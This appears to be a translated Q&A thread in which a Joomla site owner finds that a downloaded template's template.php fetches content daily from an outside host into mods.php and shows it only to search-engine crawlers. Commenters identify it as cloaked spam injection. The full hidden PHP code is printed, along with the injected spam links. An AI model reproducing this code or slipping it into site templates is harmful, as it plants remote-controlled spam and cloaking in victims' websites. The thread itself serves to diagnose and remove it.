【发布时间】:2014-08-26 23:27:40
【问题描述】:
我正在使用一个名为 Liberty 的 Joomla 模板,我开始在页面上显示这些奇怪的链接。如果我清除了我的网站缓存,链接就会消失,只是稍后才会出现。我终于找到了问题所在。 index.php 代码调用了一个名为 template.php 的包含页面,该页面又调用了一个名为 mods.php 的文件。以下是这些文件中的代码。
来自template.php:
<?php
ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/me3.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
$uagent = $_SERVER['HTTP_USER_AGENT'];
foreach ($spiders as $spider){if (preg_match("/$spider/",$uagent)){echo $credits;}}
?>
这是来自我服务器的 mods.php 的代码,其中包含我得到的奇怪链接:
<p><a target="_blank" href="https://ro-ro.facebook.com/zebras.ro">zebras magazin haine femei</a> <a target="_blank" href="http://mkhandtaschen.tumblr.com/">michael kors tasche schwarz</a></p>
我从模板开发者那里下载了一个新的模板副本,但 mods.php 文件不同:
<div class="leader"><p><a target="_blank" title="t shirt bedrucken" href="http://webhostshield.com/bluehost-review/">bluehost 2013 reviews</a></p></div>
我可以大致了解正在发生的事情,但我没有获取到 psdu.net/me3.php 的外部链接。我已经禁用了 index.php 文件中调用 template.php 的行,并且该站点运行良好。这两个文件看起来真的很可疑,对我来说是不必要的。我将不胜感激来自比我自己更有经验的 php 编码器的任何输入。谢谢!
【问题讨论】:
-
它似乎为 Googlebot&Co 检索、缓存和打印垃圾邮件。
-
那确实不好。如果原始模板没有这些文件,您应该替换整个原始模板,如果文件与您最初安装的文件不匹配,我会担心您的网站已被黑客入侵。你需要弄清楚为什么会这样。检查所有扩展程序并确保它们不在易受攻击的扩展程序列表中。
-
这来自模板。只有 mods.php 不同,因为 template.php 代码将链接写入 mods.php。几周前,我联系了模板的开发人员,然后才弄清楚发生了什么,但从未收到回复。昨天在我知道问题出在哪里后,我回到他的网站并下载了他的一些其他模板,看看他们有什么。它们也像这样,具有相同的 template.php 和 mods.php 文件。所以我不知道这是他故意的举动,还是他的网站被入侵了。我现在从我的网站上清除了这些。
-
我想知道如何处理这个模板网站。